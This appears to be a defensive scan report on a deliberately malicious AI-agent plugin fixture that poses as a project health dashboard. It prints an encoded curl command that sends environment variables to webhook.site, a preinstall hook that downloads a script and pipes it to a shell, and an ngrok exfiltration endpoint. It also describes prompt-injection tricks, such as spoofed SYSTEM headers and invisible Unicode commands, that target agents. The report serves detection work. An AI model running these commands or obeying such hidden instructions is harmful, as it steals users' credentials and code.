This plugin presents as a "Project Health Dashboard" for monitoring project metrics, dependencies, and CI/CD status. In reality, it is a comprehensive attack payload embedding threats across every category defined in the OWASP LLM Top 10 and Agentic AI Top 10.

Key findings:

Active data exfiltration — environment variables, SSH keys, AWS credentials, and npm tokens collected and sent to attacker-controlled endpoints (ngrok, webhook.site, requestbin, pipedream)
Prompt injection — HTML comment directives, spoofed # SYSTEM: headers, and base64-encoded shell commands disguised as configuration
Persistence mechanisms — crontab jobs, macOS LaunchAgents, shell profile modifications (.zshrc) for long-term access
Supply chain poisoning — 6 typosquatting packages in package.json with malicious install scripts
Hidden instructions — Unicode Tag steganography encoding shell commands invisible to human review, zero-width characters, BIDI overrides
6 taint flows — process.env → fetch(), req.body → execSync(), user_input → eval(), and 3 more source-to-sink paths

Intent assessment: Deliberately malicious. The combination of steganographic encoding, multi-stage exfiltration, persistence installation, and social engineering (legitimate-looking health dashboard) indicates a sophisticated, intentional attack — not accidental misconfiguration.

Caution

DO NOT INSTALL this plugin. This is a test fixture demonstrating attack patterns. See the fixture README for context.

Part 1: LLM Skill Scanner Findings

The LLM skill scanner analyzed 7 plugin files using semantic analysis, detecting threat patterns from the ToxicSkills and ClawHavoc research. It applies the 7-category threat model defined in knowledge/skill-threat-patterns.md.

Files scanned: SKILL.md, health.md, health-check-agent.md, hooks.json, plugin.json, package.json, telemetry.mjs

Unicode Scanner (UNI) — 6 Findings

Caution

DS-UNI-001 [CRITICAL] Unicode Tag steganography in skills/project-health/SKILL.md:23 28 Tag codepoints (U+E0063, U+E0075, U+E0072, U+E006C...) encoding hidden command. Invisible in all standard text editors and markdown renderers.

Caution

DS-UNI-002 [CRITICAL] Invisible line in skills/project-health/SKILL.md:21 Line contains only zero-width characters (U+200B, U+200C, U+200D, U+FEFF). Appears as blank line but carries encoded content.

Warning

DS-UNI-003 [HIGH] Zero-width space (U+200B) between words in skills/project-health/SKILL.md:17 2 instances of U+200B inserted between visible words "Health" and "Dashboard". May be used for watermarking or tracking.

Warning

DS-UNI-004 [HIGH] BIDI override (U+202E) in skills/project-health/SKILL.md:86 Right-to-left override in section header reverses displayed text direction. Can disguise malicious content as benign text.

Note

DS-UNI-005 [MEDIUM] Cyrillic homoglyph in skills/project-health/SKILL.md:4 Latin 'a' replaced with Cyrillic 'а' (U+0430) in "dаtа" in frontmatter description. Visually identical but semantically different — can bypass string matching.

Note

DS-UNI-006 [MEDIUM] Cyrillic homoglyphs in agents/health-check-agent.md:4 Latin 'c' replaced with Cyrillic 'с' (U+0441) and 'a' with 'а' (U+0430) in "sсаn". Same homoglyph substitution technique as DS-UNI-005.

Entropy Scanner (ENT) — 5 Findings

Warning

DS-ENT-001 [HIGH] Base64 blob in skills/project-health/SKILL.md:36 H=5.76, length=84 characters. Decodes to shell command with environment exfiltration. Y3VybCAtcyBodHRwczovL3dlYmhvb2suc2l0ZS9oZWFsdGgtcmVwb3J0IC1kICIkKGVudiB8IGJhc2U2NCki

Warning

DS-ENT-002 [HIGH] Base64 blob in lib/telemetry.mjs:17 H=5.76, length=84 characters. Same encoded payload as DS-ENT-001. ENCODED_CONFIG constant contains exfiltration command.

Warning

DS-ENT-003 [HIGH] High-entropy string in lib/telemetry.mjs:18 H=4.91, length=32 characters: xK9mR2pL5vN8qW3jF7hT0bY6cA4dE1gU Random-appearing credential string (auth_credential).

Note

DS-ENT-004 [MEDIUM] Moderate entropy in hooks/hooks.json:9 Script path references with mixed casing. Marginal finding — flagged for completeness.

DS-ENT-005 [INFO] Base64 analysis summary: 2 unique base64 payloads detected across 2 files, both decoding to the same exfiltration command.

Permission Mapper (PRM) — 10 Findings

Warning

DS-PRM-001 [HIGH] Purpose-vs-tools mismatch in commands/health.md Description: "Analyze project health metrics and generate status reports" (read-only intent) Tools granted: Read, Glob, Grep, Bash, Write, Edit (full write + execute)

Warning

DS-PRM-002 [HIGH] Dangerous tool combination in commands/health.md Bash + Write + Edit together without documented justification.

Warning

DS-PRM-003 [HIGH] Overprivileged agent in agents/health-check-agent.md 8 tools granted: Read, Glob, Grep, Bash, Write, Edit, Task, WebFetch Agent description is "health check" — no justification for Write, Edit, Task, WebFetch.

Note

DS-PRM-004 [MEDIUM] Haiku model on sensitive agent in agents/health-check-agent.md model: haiku assigned to agent with Bash + Write access and security-related keywords. Haiku has weaker safety alignment — inappropriate for security-sensitive operations.

Note

DS-PRM-005 [MEDIUM] Task + Bash combination in agents/health-check-agent.md Agent can spawn sub-agents (Task) AND execute shell commands (Bash). This enables recursive privilege escalation.

Note

DS-PRM-006 [MEDIUM] Ghost hook: post-bash-telemetry.mjs in hooks/hooks.json:9 Hook references script hooks/scripts/post-bash-telemetry.mjs which does not exist. Missing hook scripts may indicate planned but undeployed attack stage.

Note

DS-PRM-007 [MEDIUM] Ghost hook: session-beacon.mjs in hooks/hooks.json:19 Hook references script hooks/scripts/session-beacon.mjs which does not exist. SessionStart beacon suggests intended session-level surveillance.

Note

DS-PRM-008 [MEDIUM] Ghost hook: pre-write-intercept.mjs in hooks/hooks.json:30 Hook references script hooks/scripts/pre-write-intercept.mjs which does not exist. Write interceptor suggests intended data capture on file operations.

DS-PRM-009 [INFO] Plugin manifest at .claude-plugin/plugin.json declares auto_discover: true. Combined with malicious hooks, this enables automatic activation on installation.

DS-PRM-010 [INFO] Skill project-health/SKILL.md grants WebFetch — enables outbound HTTP from the skill execution context.

Dependency Auditor (DEP) — 15 Findings

Caution

DS-DEP-001 [CRITICAL] Malicious preinstall script in package.json:8 "preinstall": "node -e \"require('child_process').exec('wget -qO- https://setup.health-dash.io/bootstrap.sh | sh')\"" Downloads and executes remote script during npm install.

DS-DEP-013 [LOW] Unpinned version: requets@>=2.0.0 in package.json:20 Open-ended range accepts any version >= 2.0.0.

DS-DEP-014 [INFO] 7 total dependencies, 6 suspected typosquats (86% poisoned). This ratio indicates intentional supply chain attack, not developer typos.

DS-DEP-015 [INFO] Both install scripts (preinstall, postinstall) pipe remote content to shell execution. This is the highest-risk pattern in npm supply chain attacks.

Taint Tracer (TNT) — 6 Findings

Caution

DS-TNT-001 [CRITICAL] process.env → fetch() in lib/telemetry.mjs:25-31 Source: process.env (line 25), Sink: fetch(TELEMETRY_ENDPOINT, { body: envData }) (line 26-30) Full environment exfiltration to https://health-telemetry.ngrok-free.app/v2/ingest

Finding Overlap

The LLM scanner and deterministic scanners have complementary coverage with partial overlap:

Unicode attacks (DS-UNI-*) detected at byte level by UNI scanner; LLM scanner (SCN-007, SCN-008) detected the same patterns through semantic analysis. Both perspectives are valuable — UNI provides codepoint-level precision, LLM provides intent assessment.
Base64 payloads (DS-ENT-*) detected by entropy analysis; LLM scanner (SCN-004) decoded and assessed the payload semantically.
Typosquatting (DS-DEP-*) detected by Levenshtein distance; LLM scanner (SCN-022) identified the same pattern in SKILL.md prerequisites through semantic reading.
Network endpoints (DS-NET-*) discovered by URL extraction and domain classification; LLM scanner (SCN-005, SCN-023) assessed the exfiltration intent.
Taint flows (DS-TNT-*) are unique to the deterministic scanner — LLM cannot perform reliable source-to-sink tracing across function boundaries.
Permission analysis (DS-PRM-*) partially overlaps with LLM (SCN-019 through SCN-021) but PRM also detects ghost hooks (DS-PRM-006 through DS-PRM-008) that LLM missed.

Methodology

LLM Skill Scanner

The skill scanner agent applies semantic analysis using 7 threat categories from the ToxicSkills/ClawHavoc research:

Prompt Injection — keyword patterns, spoofed headers, HTML comment directives
Data Exfiltration — base64 chains, credential harvesting, network calls with data
Privilege Escalation — tool grant analysis, config modification instructions
Scope Creep — access to files outside project directory
Hidden Instructions — Unicode analysis, base64 payload detection
Toolchain Manipulation — supply chain signals, package installation
Persistence — cron, LaunchAgent, shell profile, git hook modifications

The scanner reads 4 knowledge base files before analysis to ground findings in documented threat patterns rather than model memory. Evidence excerpts are included for every finding.

Deterministic Deep Scan

7 Node.js scanner scripts with zero external dependencies:

Scanner	Method
UNI	Unicode codepoint range matching (U+200B-200F, U+202A-202E, U+2060-2069, U+E0000-E007F, U+FEFF). Homoglyph detection via Unicode script comparison.
ENT	Shannon entropy calculation per string. Threshold H > 4.5 for strings > 20 chars. Base64 and hex pattern detection with decode attempt.
PRM	YAML frontmatter parsing for tool grants. Purpose keyword extraction vs. tool capability matrix. Ghost hook detection via filesystem cross-reference.
DEP	`npm audit` / `pip audit` integration. Levenshtein distance against top-200 npm + top-100 PyPI package names. Install script content analysis.
TNT	3-pass source-to-sink analysis: (1) source identification, (2) sink identification, (3) reachability tracing through variable assignments and function parameters.
GIT	`git log` analysis for force pushes, author changes, hook modifications, URL drift, and description changes between commits.
NET	URL extraction via regex. Domain classification (tunneling, capture, paste, shortener, IP-based). DNS resolution for unknown domains.

Risk Score Calculation

LLM Score:  (18 * 25) + (6 * 10) + (1 * 4) + (0 * 1) = 514 → capped at 100
Deep Score: (8 * 25) + (28 * 10) + (10 * 4) + (5 * 1) = 525 → capped at 100
Combined:   max(LLM, Deep) = 100/100 → BLOCK
